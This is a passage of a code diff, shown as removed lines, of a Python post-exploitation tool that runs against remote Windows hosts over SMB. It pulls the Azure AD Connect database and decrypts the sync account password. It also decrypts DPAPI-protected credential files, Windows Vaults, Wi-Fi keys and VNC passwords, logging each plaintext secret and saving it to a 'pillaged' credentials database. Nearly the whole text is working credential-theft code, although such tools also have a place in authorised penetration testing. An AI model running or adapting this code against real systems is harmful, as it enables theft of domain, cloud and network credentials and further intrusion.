- logging.info('Loading configuration data from %s on filesystem', self.options.from_file)
- infile = codecs.open(self.options.from_file, 'r', codec)
- enumtarget = infile
- else:
- logging.info('Querying database for configuration data')
- dbpath = os.path.join(os.getcwd(), r"ADSync.mdf")
- output = subprocess.Popen(["ADSyncQuery.exe", dbpath], stdout=subprocess.PIPE).communicate()[0]
- enumtarget = output.split('\n')
-
- #####TEMP
- # logging.info('Loading configuration data from %s on filesystem', self.__options.from_file)
- # infile = codecs.open('adsync_export', 'r', codec)
- # enumtarget = infile
- ######
-
- for line in enumtarget:
- try:
- ltype, data = line.strip().split(': ')
- except ValueError:
- continue
- ltype = ltype.replace(u'\ufeff', u'')
- if ltype.lower() == 'record':
- xmldata, crypteddata = data.split(';')
- out['cryptedrecords'].append(crypteddata)
- out['xmldata'].append(xmldata)
- # print(f"record found : {xmldata}")
-
- if ltype.lower() == 'config':
- instance, keyset_id, entropy = data.split(';')
- out['instance'] = instance
- out['keyset_id'] = keyset_id
- out['entropy'] = entropy
- # if self.__options.from_file:
- # infile.close()
- # Check if all values are in the outdata
- required = ['cryptedrecords', 'xmldata', 'instance', 'keyset_id', 'entropy']
- for option in required:
- if not option in out:
- logging.error(
- 'Missing data from database. Option %s could not be extracted. Check your database or output file.',
- option)
- return None
- return out
- except Exception as ex:
- self.logging.debug(
- f"[{self.options.target_ip}] {bcolors.WARNING}Exception in Parsing database : Please manualy run ADSyncQuery.exe ADSync.mdf > adsync_export on a windows env with MSSQL support{bcolors.ENDC}")
- self.logging.debug(ex)
-
- def Get_AD_Connect(self, user, localfile, data):
- # Local DPAPI extracted data
- info = ""
- parts = data['Target'].decode('utf-16le')[:-1].split('_')
- localBlobdatas = {
- 'instanceid': parts[3][1:-1].lower(),
- 'keyset_id': parts[4],
- 'data': data['Unknown3']
- }
- # print(localBlobdatas)
-
- # ADConnect Database data
- logging.debug(f"[{self.options.target_ip}] {bcolors.OKBLUE} Trying to get ADConnect account{bcolors.ENDC}")
- try:
- # Stop Service / Download DB / Start DB
- myADSRemoteOps = ADSRemoteOperations(smbConnection=self.smb, doKerberos=False)
- myADSRemoteOps.gatherAdSyncMdb()
- # files_to_dl=['Program Files\\Microsoft Azure AD Sync\\Data\\ADSync.mdf','Program Files\\Microsoft Azure AD Sync\\Data\\ADSync_log.ldf']
- mdbdata = self.getMdbData()
- if mdbdata is None:
- logging.debug(f"[{self.options.target_ip}] Could not extract required database information. Exiting")
- return
- # print(mdbdata)
- except Exception as ex:
- self.logging.debug(
- f"[{self.options.target_ip}] {bcolors.WARNING}Exception in ADSRemoteOperations 1{bcolors.ENDC}")
- self.logging.debug(ex)
-
- result = localBlobdatas
- if result is not None:
- if result['keyset_id'] != mdbdata['keyset_id'] or result['instanceid'] != mdbdata['instance']:
- logging.debug('Found keyset %s instance %s, but need keyset %s instance %s. Trying next',
- result['keyset_id'], result['instanceid'], mdbdata['keyset_id'], mdbdata['instance'])
- else:
- logging.debug('Found correct encrypted keyset to decrypt data')
- if result is None:
- logging.debug('Failed to find correct keyset data')
- return
-
- # cryptkeys = [self.__remoteOps.decryptDpapiBlobSystemkey(result['data'], self.dpapiSystem['MachineKey'],string_to_bin(mdbdata['entropy']))]
- myoptions = copy.deepcopy(self.options)
- myoptions.file = None # "key_material.tmp" # BLOB to parse
- myoptions.key = None
- myoptions.masterkeys = None # user.masterkeys_file
- mydpapi = DPAPI(myoptions, self.logging)
- guid = mydpapi.find_Blob_masterkey(raw_data=result['data'])
- self.logging.debug(f"[{self.options.target_ip}] Looking for ADConnect masterkey : {guid}")
- if guid != None:
- machine_user = user = self.GetUserByName('MACHINE$')
- masterkey = self.get_masterkey(user=machine_user, guid=guid, type='MACHINE')
- if masterkey != None:
- if masterkey['status'] == 'decrypted':
- mydpapi.options.key = masterkey['key']
- # cred_data = mydpapi.decrypt_credential()
- cryptkeys = [
- mydpapi.decrypt_blob(raw_data=result['data'], entropy=string_to_bin(mdbdata['entropy']))]
- try:
- logging.debug(f'Decrypting encrypted AD Sync configuration data with {cryptkeys}')
- for index, record in enumerate(mdbdata['cryptedrecords']):
- # Try decrypting with highest cryptkey record
- self.logging.debug(f"[{self.options.target_ip}] {index} - {record}")
- drecord = DumpSecrets.decrypt(record, cryptkeys[-1]).replace('\x00', '')
- # print(drecord)
- with open('r%d_xml_data.xml' % index, 'w') as outfile:
- data = base64.b64decode(mdbdata['xmldata'][index]).decode('utf-16-le')
- outfile.write(data)
- with open('r%d_encrypted_data.xml' % index, 'w') as outfile:
- outfile.write(drecord)
- ctree = ET.fromstring(drecord)
- dtree = ET.fromstring(data)
- if 'forest-login-user' in data:
- logging.debug('Local AD credentials')
- el = dtree.find(".//parameter[@name='forest-login-domain']")
- if el is not None:
- logging.debug('\tDomain: %s', el.text)
- username = el.text
- el = dtree.find(".//parameter[@name='forest-login-user']")
- if el is not None:
- username += '/' + el.text
- # logging.debug('\tUsername: %s', el.text)
- else:
- # Assume AAD config
- logging.debug('Azure AD credentials')
- el = dtree.find(".//parameter[@name='UserName']")
- if el is not None:
- username = el.text
- logging.debug('\tUsername: %s', el.text)
- # Can be either lower or with capital P
- fpw = None
- el = ctree.find(".//attribute[@name='Password']")
- if el is not None:
- fpw = el.text
- el = ctree.find(".//attribute[@name='password']")
- if el is not None:
- fpw = el.text
- if fpw:
- # fpw = fpw[:len(fpw)/2] + '...[REDACTED]'
- logging.debug('\tPassword: %s', fpw)
- info += f"{username} : {fpw}\n"
- self.logging.info(
- f"[{self.options.target_ip}] [+] {bcolors.OKGREEN} ADCONNECT : {bcolors.OKGREEN} - {username} : {fpw}{bcolors.ENDC}")
- ############PROCESSING DATA
- self.db.add_credz(credz_type='ADConnect',
- credz_username=username,
- credz_password=fpw,
- credz_target='',
- credz_path='', # user.files['ADCONNECT']['path'],
- pillaged_from_computer_ip=self.options.target_ip,
- pillaged_from_username=user.username)
- except Exception as ex:
- self.logging.debug(
- f"[{self.options.target_ip}] {bcolors.WARNING}Exception in Get_AD_Connect 2{bcolors.ENDC}")
- self.logging.debug(ex)
- else:
- self.logging.info(
- f"[{self.options.target_ip}] [+] {bcolors.WARNING} Masterkey NOT Found for ADConnect {bcolors.ENDC}")
- return info
-
- def Get_DPAPI_Protected_Files(self):
- self.logging.info(
- f"[{self.options.target_ip}] {bcolors.OKBLUE}[+] Gathering DPAPI Secret blobs on the target{bcolors.ENDC}")
- blacklist = ['.', '..']
- # credentials ?
- # Vaults ?
- # Parse chrome
- # autres navigateurs ?
- # CredHistory
- # Appdata Roaming ?
-
- user_directories = [("Users\\{username}\\AppData\\Local\\Microsoft\\Credentials", '*', 'credential', 'DOMAIN'),
- ("Windows\\ServiceProfiles\\ADSync\\AppData\\Local\\Microsoft\\Credentials", '*',
- 'credential', 'MACHINE-USER'),
- (
- "Users\\{username}\\AppData\\Roaming\\Microsoft\\Credentials", '*', 'credential', 'DOMAIN'),
- (
- "Users\\{username}\\AppData\\Local\\Microsoft\\Remote Desktop Connection Manager\\RDCMan.settings",
- "*.rdg", 'rdg', 'DOMAIN')
- ] # ADD Desktop for RDG
- machine_directories = [("Windows\\System32\\config\\systemprofile\\AppData\\Local\\Microsoft\\Credentials", '*',
- 'credential', 'MACHINE'),
- ("Windows\\ServiceProfiles\\ADSync\\AppData\\Local\\Microsoft\\Credentials", '*',
- 'credential', 'MACHINE-USER'),
- ("Users\\ADSync\\AppData\\Local\\Microsoft\\Credentials", '*', 'credential',
- 'MACHINE-USER'),
- # Valider le %systemdir% selon la version de windows ?
- ]
-
- for user in self.users:
- if user.username == 'MACHINE$':
- directories_to_use = machine_directories
- else:
- directories_to_use = user_directories
-
- # if len(user.masterkeys)>0:#Pas de masterkeys==pas de datas a recup
- for info in directories_to_use:
- my_dir, my_mask, my_blob_type, my_user_type = info
- tmp_pwd = my_dir.format(
- username=user.username) ##ntpath.join(ntpath.join('Users', user.username), my_dir)
- self.logging.debug(
- f"[{self.options.target_ip}] Looking for {user.username} files in {tmp_pwd} with mask {my_mask}")
- my_directory = self.myfileops.do_ls(tmp_pwd, my_mask, display=False)
- for infos in my_directory:
- longname, is_directory = infos
- self.logging.debug("ls returned file %s" % longname)
- if longname not in blacklist and not is_directory:
- try:
- self.logging.debug(
- f"[{self.options.target_ip}] [+] Found {bcolors.OKBLUE}{user.username}{bcolors.ENDC} encrypted files {longname}")
- # Downloading Blob file
- localfile = self.myfileops.get_file(ntpath.join(tmp_pwd, longname))
- user.files[longname] = {}
- user.files[longname]['type'] = my_blob_type
- user.files[longname]['status'] = 'encrypted'
- user.files[longname]['path'] = localfile
-
- myoptions = copy.deepcopy(self.options)
- myoptions.file = localfile # Masterkeyfile to parse
- myoptions.masterkeys = None # user.masterkeys_file
- myoptions.key = None
- mydpapi = DPAPI(myoptions, self.logging)
- guid = mydpapi.find_CredentialFile_masterkey()
- self.logging.debug(f"[{self.options.target_ip}] Looking for {longname} masterkey : {guid}")
- if guid != None:
- masterkey = self.get_masterkey(user=user, guid=guid, type=my_user_type)
- if masterkey != None:
- if masterkey['status'] == 'decrypted':
- mydpapi.options.key = masterkey['key']
- cred_data = mydpapi.decrypt_credential()
- if cred_data != None:
- self.logging.debug(
- f"[{self.options.target_ip}] {bcolors.OKGREEN}Decryption successfull of {bcolors.OKBLUE}{user.username}{bcolors.ENDC} Secret {longname}{bcolors.ENDC}")
- user.files[longname]['status'] = 'decrypted'
- user.files[longname]['data'] = cred_data
- self.process_decrypted_data(user, user.files[
- longname]) # cred_data,user,localfile,my_blob_type)
- else:
- self.logging.debug(
- f"[{self.options.target_ip}] {bcolors.WARNING}Error decrypting Blob for {localfile} with Masterkey{bcolors.ENDC}")
- else:
- self.logging.debug(
- f"[{self.options.target_ip}] {bcolors.WARNING}Error decrypting Blob for {localfile} with Masterkey - Masterkey not decrypted{bcolors.ENDC}")
- else:
- self.logging.debug(
- f"[{self.options.target_ip}] {bcolors.WARNING}Error decrypting Blob for {localfile} with Masterkey- cant get masterkey {guid}{bcolors.ENDC}")
- else:
- self.logging.debug(
- f"[{self.options.target_ip}] {bcolors.WARNING}Error decrypting Blob for {localfile} with Masterkey - can t get the GUID of masterkey from blob file{bcolors.ENDC}")
- except Exception as ex:
- self.logging.debug(
- f"[{self.options.target_ip}] {bcolors.WARNING}Exception decrypting Blob for {localfile} with Masterkey{bcolors.ENDC}")
- self.logging.debug(ex)
- return 1
-
- def GetWifi(self):
- self.logging.info(f"[{self.options.target_ip}] {bcolors.OKBLUE}[+] Gathering Wifi Keys{bcolors.ENDC}")
- blacklist = ['.', '..']
- machine_directories = [("ProgramData\\Microsoft\\Wlansvc\\Profiles\\Interfaces", '*.xml')]
-
- for info in machine_directories:
- user = self.GetUserByName('MACHINE$')
- my_dir, my_mask = info
- # interface name
- self.logging.debug(f"[{self.options.target_ip}] [+] Looking for interfaces in {my_dir}") # No mask
- my_directory = self.myfileops.do_ls(my_dir, '*', display=False)
- for infos in my_directory:
- longname, is_directory = infos
- if longname not in blacklist and is_directory:
- self.logging.debug(f"[{self.options.target_ip}] [+] Got Wifi interface {longname}")
- tmp_pwd = ntpath.join(my_dir, longname)
- my_directory2 = self.myfileops.do_ls(tmp_pwd, my_mask, display=False)
- for infos2 in my_directory2:
- longname2, is_directory2 = infos2
- if longname2 not in blacklist and not is_directory2:
- self.logging.debug(f"[{self.options.target_ip}] [+] Got wifi config file {longname2}")
- # Downloading Blob file
- localfile = self.myfileops.get_file(ntpath.join(tmp_pwd, longname2))
- user.files[longname2] = {}
- user.files[longname2]['type'] = 'wifi'
- user.files[longname2]['status'] = 'encrypted'
- user.files[longname2]['path'] = localfile
-
- with open(localfile, 'rb') as f:
- try:
- file_data = f.read().replace(b'\x0a', b'').replace(b'\x0d', b'')
- wifi_name = re.search(b'([^<]+)', file_data)
- wifi_name = wifi_name.group(1)
- user.files[longname2]['wifi_name'] = wifi_name
- key_material_re = re.search(b'([0-9A-F]+)', file_data)
- if not key_material_re:
- continue
- key_material = key_material_re.group(1)
- # with open("key_material.tmp", "wb") as f:
- # f.write(binascii.unhexlify(key_material))
- except Exception as ex:
- self.logging.error(f"{bcolors.WARNING}Error in wifi parsing{bcolors.ENDC}")
- self.logging.debug(ex)
-
- try:
- myoptions = copy.deepcopy(self.options)
- myoptions.file = None # "key_material.tmp" # BLOB to parse
- myoptions.key = None
- myoptions.masterkeys = None # user.masterkeys_file
- mydpapi = DPAPI(myoptions, self.logging)
- guid = mydpapi.find_Blob_masterkey(raw_data=binascii.unhexlify(key_material))
- self.logging.debug(
- f"[{self.options.target_ip}] Looking for {longname2} masterkey : {guid}")
- if guid != None:
- masterkey = self.get_masterkey(user=user, guid=guid, type='MACHINE')
- if masterkey != None:
- if masterkey['status'] == 'decrypted':
- mydpapi.options.key = masterkey['key']
- # cred_data = mydpapi.decrypt_credential()
- cred_data = mydpapi.decrypt_blob(
- raw_data=binascii.unhexlify(key_material))
- if cred_data != None:
- user.files[longname2]['status'] = 'decrypted'
- user.files[longname2]['data'] = cred_data
- user.files[longname2]['secret'] = cred_data
- self.logging.info(
- f"[{self.options.target_ip}] [+] {bcolors.OKGREEN} Wifi {bcolors.OKBLUE}{wifi_name} {bcolors.OKGREEN} - {cred_data}{bcolors.ENDC}")
- ############PROCESSING DATA
- self.db.add_credz(credz_type='wifi',
- credz_username=wifi_name.decode('utf-8'),
- credz_password=cred_data.decode('utf-8'),
- credz_target=wifi_name.decode('utf-8'),
- credz_path=user.files[longname2]['path'],
- pillaged_from_computer_ip=self.options.target_ip,
- pillaged_from_username=user.username)
- # semf.process_decrypted_data(user.files[longname2])#cred_data, user, localfile, type='wifi', args=[wifi_name])
- else:
- self.logging.debug(
- f"[{self.options.target_ip}] {bcolors.WARNING}Error decrypting WIFI Blob for {localfile} with Masterkey - Masterkey not decrypted{bcolors.ENDC}")
- else:
- self.logging.debug(
- f"[{self.options.target_ip}] {bcolors.WARNING}Error decrypting WIFI Blob for {localfile} with Masterkey- cant get masterkey {guid}{bcolors.ENDC}")
- else:
- self.logging.debug(
- f"[{self.options.target_ip}] {bcolors.WARNING}Error decrypting WIFIBlob for {localfile} with Masterkey - can t get the GUID of masterkey from blob file{bcolors.ENDC}")
- except Exception as ex:
- self.logging.error(
- f"{bcolors.WARNING}Exception decrypting wifi credentials{bcolors.ENDC}")
- self.logging.debug(ex)
- return 1
-
- def GetVNC(self):
- try:
- self.logging.info(f"[{self.options.target_ip}] {bcolors.OKBLUE}[+] Gathering VNC Passwords{bcolors.ENDC}")
- myvnc = Vnc(self.myregops, self.myfileops, self.logging, self.options, self.db)
- myvnc.vnc_from_filesystem()
- myvnc.vnc_from_registry()
- except Exception as ex:
- self.logging.error(f"{bcolors.WARNING}Exception IN VNC GATHERING{bcolors.ENDC}")
- self.logging.debug(ex)
-
- def GetVaults(self):
- self.logging.info(f"[{self.options.target_ip}] {bcolors.OKBLUE}[+] Gathering Vaults{bcolors.ENDC}")
- blacklist = ['.', '..', 'UserProfileRoaming']
- # credentials ?
- # Vaults ?
- # Parse chrome
- # autres navigateurs ?
- # CredHistory
-
- user_directories = [("Users\\{username}\\AppData\\Local\\Microsoft\\Vault", '*', 'vault', 'DOMAIN')]
- machine_directories = [("ProgramData\\Microsoft\\Vault", '*', 'vault', 'MACHINE'),
- ("Windows\\system32\\config\\systemprofile\\AppData\\Local\\Microsoft\\Vault\\", '*',
- 'vault', 'MACHINE')] # Windows hello pincode
-
- for user in self.users:
- if user.username == 'MACHINE$':
- directories_to_use = machine_directories
- else:
- directories_to_use = user_directories
-
- if len(user.masterkeys_file) > 0: # Pas de masterkeys==pas de datas a recup
- for info in directories_to_use:
- my_dir, my_mask, my_blob_type, my_user_type = info
- tmp_pwd = my_dir.format(
- username=user.username) # f"Users\\{user.username}\\{my_dir}"#ntpath.join(ntpath.join('Users', user.username), my_dir)
- self.logging.debug("Looking for %s Vaults in %s with mask %s" % (user.username, tmp_pwd, my_mask))
- my_directory = self.myfileops.do_ls(tmp_pwd, my_mask, display=False)
- for infos in my_directory:
- longname, is_directory = infos
- self.logging.debug("ls returned %s" % longname)
- if longname not in blacklist and is_directory:
- self.logging.debug("Got Vault Directory %s" % longname)
- tmp_pwd2 = ntpath.join(tmp_pwd, longname)
- try:
- # First get the Policy.vpol
- local_vpol_file = self.myfileops.get_file(ntpath.join(tmp_pwd2, "Policy.vpol"))
- user.files[longname] = {}
- user.files[longname]['type'] = my_blob_type
- user.files[longname]['status'] = 'encrypted'
- user.files[longname]['UID'] = longname
- user.files[longname]['path'] = tmp_pwd2
- user.files[longname]['vpol_path'] = local_vpol_file
- user.files[longname]['vpol_status'] = 'encrypted'
- user.files[longname]['vsch'] = {}
- user.files[longname]['vcrd'] = {}
- user.files[longname]['data'] = ''
- # Decrypt the keys
-
- myoptions = copy.deepcopy(self.options)
- myoptions.vcrd = None # Vault File to parse
- myoptions.masterkeys = None
- myoptions.vpol = local_vpol_file
- myoptions.key = None
- mydpapi = DPAPI(myoptions, self.logging)
- guid = mydpapi.find_Vault_Masterkey()
- if guid != None:
- masterkey = self.get_masterkey(user=user, guid=guid, type=my_user_type)
- if masterkey != None:
- if masterkey['status'] == 'decrypted':
- mydpapi.options.key = masterkey['key']
- keys = mydpapi.decrypt_vault()
- if keys != None:
- self.logging.debug(
- f"[{self.options.target_ip}] {bcolors.OKGREEN}Vault Policy file Decryption successfull - {local_vpol_file}{bcolors.ENDC}")
- tmp_vaultkeys = []
- if keys['Key1']['Size'] > 0x24:
- tmp_vaultkeys.append(
- '0x%s' % binascii.hexlify(keys['Key2']['bKeyBlob']))
- tmp_vaultkeys.append(
- '0x%s' % binascii.hexlify(keys['Key1']['bKeyBlob']))
- else:
- tmp_vaultkeys.append(
- '0x%s' % binascii.hexlify(
- keys['Key2']['bKeyBlob']['bKey']).decode('latin-1'))
- tmp_vaultkeys.append(
- '0x%s' % binascii.hexlify(
- keys['Key1']['bKeyBlob']['bKey']).decode('latin-1'))
- self.logging.debug(
- f"[{self.options.target_ip}] Saving {len(tmp_vaultkeys)} Vault keys {bcolors.ENDC}")
- user.files[longname]['vpol_status'] = 'decrypted'
- user.files[longname]['status'] = 'decrypted'
- user.files[longname]['data'] = tmp_vaultkeys
- else:
- self.logging.debug(
- f"[{self.options.target_ip}] {bcolors.WARNING}Error decrypting Policy.vpol {local_vpol_file} with Masterkey{bcolors.ENDC}")
- continue
- else:
- self.logging.debug(
- f"[{self.options.target_ip}] {bcolors.WARNING}Error decrypting Policy.vpol {local_vpol_file} with Masterkey - Masterkey not decrypted{bcolors.ENDC}")
- continue
- else:
- self.logging.debug(
- f"[{self.options.target_ip}] {bcolors.WARNING}Error decrypting Policy.vpol {local_vpol_file} with Masterkey- cant get masterkey {guid}{bcolors.ENDC}")
- continue
- else:
- self.logging.debug(
- f"[{self.options.target_ip}] {bcolors.WARNING}Error decrypting Policy.vpol {local_vpol_file} with Masterkey - can t get the GUID of masterkey from blob file{bcolors.ENDC}")
- continue
-
- except Exception as ex:
- self.logging.debug(
- f"[{self.options.target_ip}] {bcolors.WARNING}Exception decrypting Policy.vpol {local_vpol_file} with Masterkey{bcolors.ENDC}")
- self.logging.debug(ex)
- continue
-
- # Look for .vsch : Vault Schema file
-
- # Then gets *.vcrd files
- my_directory2 = self.myfileops.do_ls(tmp_pwd2, my_mask, display=False)
- self.logging.debug(
- f"[{self.options.target_ip}] Found {len(my_directory2)} files in {tmp_pwd2}")
- for infos2 in my_directory2:
- longname2, is_directory2 = infos2
- self.logging.debug("ls returned file %s" % longname2)
- if longname2 not in blacklist and not is_directory2 and not longname2 == "Policy.vpol":
- try:
- # Downloading Blob file
- localfile = self.myfileops.get_file(ntpath.join(tmp_pwd2, longname2))
- if longname2[-4:] == 'vsch': # PAS G2R2 pour le moment
- user.files[longname]['vsch'][localfile] = {}
- user.files[longname]['vsch'][localfile]['status'] = 'encrypted'
- user.files[longname]['vsch'][localfile]['type'] = 'vsch'
- user.files[longname]['vsch'][localfile]['vault_name'] = longname2
- user.files[longname]['vsch'][localfile]['path'] = localfile
- continue
- elif longname2[-4:] == 'vcrd':
- user.files[longname]['vcrd'][localfile] = {}
- user.files[longname]['vcrd'][localfile]['status'] = 'encrypted'
- user.files[longname]['vcrd'][localfile]['type'] = 'vcrd'
- user.files[longname]['vcrd'][localfile]['vault_name'] = longname2
- user.files[longname]['vcrd'][localfile]['path'] = localfile
-
- myoptions = copy.deepcopy(self.options)
- myoptions.vcrd = localfile # Vault File to parse
- myoptions.vaultkeys = tmp_vaultkeys
- myoptions.vpol = None
- myoptions.key = None
- mydpapi = DPAPI(myoptions, self.logging)
- vault_data, data_type = mydpapi.decrypt_vault()
- if vault_data != None:
- user.files[longname]['vcrd'][localfile]['status'] = 'decrypted'
- user.files[longname]['vcrd'][localfile]['data'] = vault_data
- user.files[longname]['vcrd'][localfile]['vault_type'] = data_type
- self.logging.debug(
- f"[{self.options.target_ip}] {bcolors.OKBLUE}{user.username} {bcolors.OKGREEN}Vault .vcrd Decryption successfull - {localfile}{bcolors.ENDC}")
- self.process_decrypted_vault(user, user.files[longname]['vcrd'][
- localfile]) # vault_data,user,localfile,my_blob_type,args=[longname2,data_type])
-
- except Exception as ex:
- self.logging.debug(
- f"[{self.options.target_ip}] {bcolors.WARNING}Exception decrypting vcrd Vault with Masterkey - {longname2} {bcolors.ENDC}")
- self.logging.debug(ex)
- return 1
-
- def dump_to_file(self, localfile_encrypted, localdata_decrypted):
- self.logging.debug(f"[{self.options.target_ip}] Dumping decrypted {localfile_encrypted} to file{bcolors.ENDC}")
- try:
- localfile_decrypted = os.path.join(os.path.split(localfile_encrypted)[0],
- os.path.split(localfile_encrypted)[1] + "_decrypted")
- fh = open(localfile_decrypted, 'wb')
- fh.write(f"{localdata_decrypted}".encode('utf-8'))
- fh.close()
- return 1
- except Exception as ex:
- self.logging.debug(f"[{self.options.target_ip}] {bcolors.WARNING}Exception dump_to_file{bcolors.ENDC}")
- self.logging.debug(ex)
-
- def process_decrypted_data(self, user, secret_file): # data ,user ,localfile,blob_type,args=[]):
- try:
- self.logging.debug(f"[{self.options.target_ip}] [+] process_decrypted_data of {secret_file} {bcolors.ENDC}")
- blob_type = secret_file['type']
- localfile = secret_file['path']
- data = secret_file['data']
- if blob_type == 'rdg':
- self.logging.debug("IT S A Remote Desktop Cred file")
- clear_data = self.dump_credential_blob(data)
- elif blob_type == 'credential':
-
- if 'Domain:target=TERMSRV' in data['Target'].decode('utf-16le') or 'LegacyGeneric:target=TERMSRV' in \
- data['Target'].decode('utf-16le'):
- clear_data = self.dump_CREDENTIAL_TSE(user, localfile, data)
- elif 'Domain:target=msteams' in data['Target'].decode('utf-16le') or 'LegacyGeneric:target=msteams' in \
- data['Target'].decode('utf-16le'):
- self.logging.debug("IT S A MSTeam Credential!")
- clear_data = self.dump_CREDENTIAL_TSE(user, localfile, data)
- elif 'Domain:batch=TaskScheduler' in data['Target'].decode(
- 'utf-16le') or 'LegacyGeneric:target=msteams' in data['Target'].decode('utf-16le'):
- self.logging.debug("IT S A TaskScheduler Cred!")
- clear_data = self.dump_CREDENTIAL_TASKSCHEDULER(user, localfile, data)
- '''Domain:batch=TaskScheduler:Task:{31368695-xxxxxxxxxxx}
- Username : Domain\Administrateur
- Unknown3 : @&&&&&&&
- '''
- elif 'Domain:target=MicrosoftOffice16_Data:orgid' in data['Target'].decode(
- 'utf-16le') or 'LegacyGeneric:target=MicrosoftOffice16_Data:orgid' in data['Target'].decode(
- 'utf-16le'):
- self.logging.debug("IT S A Office365 Cred!")
- clear_data = self.dump_CREDENTIAL_TSE(user, localfile, data)
- '''
- [CREDENTIAL]
- LastWritten : 2020-02-18 08:48:39
- Flags : 48 (CRED_FLAGS_REQUIRE_CONFIRMATION|CRED_FLAGS_WILDCARD_MATCH)
- Persist : 0x3 (CRED_PERSIST_ENTERPRISE)
- Type : 0x1 (CRED_PERSIST_SESSION)
- Target : LegacyGeneric:target=MicrosoftOffice15_Data:SSPI:v.xxxxxxx@xxxxxx.com
- Description :
- Unknown :
- Username :
- Unknown3 : xxxxxxxxx
-
-
-
- '''
- elif 'WindowsLive:target=virtualapp/didlogical' in data['Target'].decode('utf-16le'):
- self.logging.debug("IT S A Windows Live service or application Cred!")
- clear_data = self.dump_credential_blob(user, localfile, data)
- # ADCONNECT
- elif 'Microsoft_AzureADConnect_KeySet' in data['Target'].decode('utf-16le'):
- self.logging.debug(f"{bcolors.WARNING}IT S A Microsoft_AzureADConnect_KeySet Cred!{bcolors.ENDC}")
- clear_data = self.Get_AD_Connect(user, localfile, data)
- elif 'LegacyGeneric:target=' in data['Target'].decode('utf-16le'): # Autres Targets
- self.logging.debug("Other legacy Credential")
- clear_data = self.dump_credential_blob(user, localfile, data)
- else:
- self.logging.debug("Unknown Cred Target content - testing as Credential BLOB")
- clear_data = self.dump_credential_blob(user, localfile, data)
- # clear_data = ''
- secret_file['secret'] = clear_data
- self.dump_to_file(localfile, clear_data)
- self.logsecret(clear_data)
-
- # TSE Account
- except Exception as ex:
- self.logging.debug(
- f"[{self.options.target_ip}] {bcolors.WARNING}Except 2 process_decrypted_data ALL for {localfile} {bcolors.ENDC}")
- self.logging.debug(ex)
-
- def dump_credential_blob(self, user, localfile, decrypted_blob):
- # from impacket.ese import getUnixTime
- try:
- self.logging.debug("Dumping decrypted credential blob info to file")
- # self.logging.debug(decrypted_blob)
- info = "\n"
- info += f"[CREDENTIAL]\n"
- try:
- info += f"LastWritten : {datetime.utcfromtimestamp(impacket.dpapi.getUnixTime(decrypted_blob['LastWritten']))}\n"
- info += f"Flags : {decrypted_blob['Flags']} ({impacket.dpapi.getFlags(impacket.dpapi.CREDENTIAL_FLAGS, decrypted_blob['Flags'])})\n"
- info += f"Persist : 0x{decrypted_blob['Persist']} ({impacket.dpapi.CREDENTIAL_PERSIST(decrypted_blob['Persist']).name})\n"
- info += f"Type : 0x{decrypted_blob['Type']} ({impacket.dpapi.CREDENTIAL_PERSIST(decrypted_blob['Type']).name})\n"
- self.logging.debug(info)
- except Exception as ex:
- self.logging.debug(
- f"[{self.options.target_ip}] {bcolors.WARNING}Exception 1 decrypted_blob.attributes {bcolors.ENDC}")
- self.logging.debug(ex)
- info += f"Target : {decrypted_blob['Target'].decode('utf-16le')}\n"
- info += f"Description : {decrypted_blob['Description'].decode('utf-16le')}\n"
- info += f"Unknown : {decrypted_blob['Unknown'].decode('utf-16le')}\n"
- info += f"Username : {decrypted_blob['Username'].decode('utf-16le')}\n"
- try:
- info += f"Unknown3 : {decrypted_blob['Unknown3'].decode('utf-16le')}\n"
- password = f"{decrypted_blob['Unknown3'].decode('utf-16le')}"
- except UnicodeDecodeError:
- info += f"Unknown3. : {decrypted_blob['Unknown3'].decode('latin-1')}\n"
- password = f"{decrypted_blob['Unknown3'].decode('latin-1')}"
- # print()
- if "WindowsLive:target=virtualapp" not in f"{decrypted_blob['Target'].decode('utf-16le')}": # "WindowsLive:target=virtualapp/didlogical" On ne gere pas pour le moment// A voir pour rassembler le contenu en 1 nouveau blob ?
- for entry in decrypted_blob.attributes:
- try:
- info += f"KeyWord : {entry['KeyWord'].decode('utf-16le')}\n"
- info += f"Flags : {entry['Flags']}, {impacket.dpapi.getFlags(CREDENTIAL_FLAGS, entry['Flags'])}\n"
- info += f"Data : {entry['Data']}\n"
- except Exception as ex:
- self.logging.debug(
- f"[{self.options.target_ip}] {bcolors.WARNING}Exception 2 decrypted_blob.attributes {bcolors.ENDC}")
- self.logging.debug(ex)
- entry.dump()
- continue
-
- ############PROCESSING DATA
- self.db.add_credz(credz_type='credential-blob',
- credz_username=decrypted_blob['Username'].decode('utf-16le'),
- credz_password=password,
- credz_target=decrypted_blob['Target'].decode('utf-16le'),
- credz_path=localfile,
- pillaged_from_computer_ip=self.options.target_ip,
- pillaged_from_username=user.username)
-
- self.logging.debug(info)
- return info
- except Exception as ex:
- self.logging.debug(
- f"[{self.options.target_ip}] {bcolors.WARNING}Exception 3 dump_credential_blob {bcolors.ENDC}")
- self.logging.debug(ex)
-
- def dump_CREDENTIAL_TSE(self, user, localfile, decrypted_blob):
- # from impacket.ese import getUnixTime
- try:
- self.logging.debug("Dumping TSE decrypted credential blob info to file")
- # self.logging.debug(decrypted_blob)
- info = "\n"
- info += f"[CREDENTIAL]\n"
- try:
- info += f"LastWritten : {datetime.utcfromtimestamp(impacket.dpapi.getUnixTime(decrypted_blob['LastWritten']))}\n"
- info += f"Flags : {decrypted_blob['Flags']} ({impacket.dpapi.getFlags(impacket.dpapi.CREDENTIAL_FLAGS, decrypted_blob['Flags'])})\n"
- info += f"Persist : 0x{decrypted_blob['Persist']} ({impacket.dpapi.CREDENTIAL_PERSIST(decrypted_blob['Persist']).name})\n"
- info += f"Type : 0x{decrypted_blob['Type']} ({impacket.dpapi.CREDENTIAL_PERSIST(decrypted_blob['Type']).name})\n"
- except Exception as ex:
- self.logging.debug(
- f"[{self.options.target_ip}] {bcolors.WARNING}Exception 1 decrypted_blob.attributes {bcolors.ENDC}")
- self.logging.debug(ex)
- info += f"Target : {decrypted_blob['Target'].decode('utf-16le')}\n"
- info += f"Description : {decrypted_blob['Description'].decode('utf-16le')}\n"
- info += f"Unknown : {decrypted_blob['Unknown'].decode('utf-16le')}\n"
- info += f"Username : {decrypted_blob['Username'].decode('utf-16le')}\n"
- try:
- info += f"Unknown3 : {decrypted_blob['Unknown3'].decode('utf-16le')}\n"
- password = decrypted_blob['Unknown3'].decode('utf-16le')
- except UnicodeDecodeError:
- info += f"Unknown3. : {decrypted_blob['Unknown3'].decode('latin-1')}\n"
- password = decrypted_blob['Unknown3'].decode('latin-1')
- ############PROCESSING DATA
- self.db.add_credz(credz_type='browser-internet_explorer',
- credz_username=decrypted_blob['Username'].decode('utf-16le'),
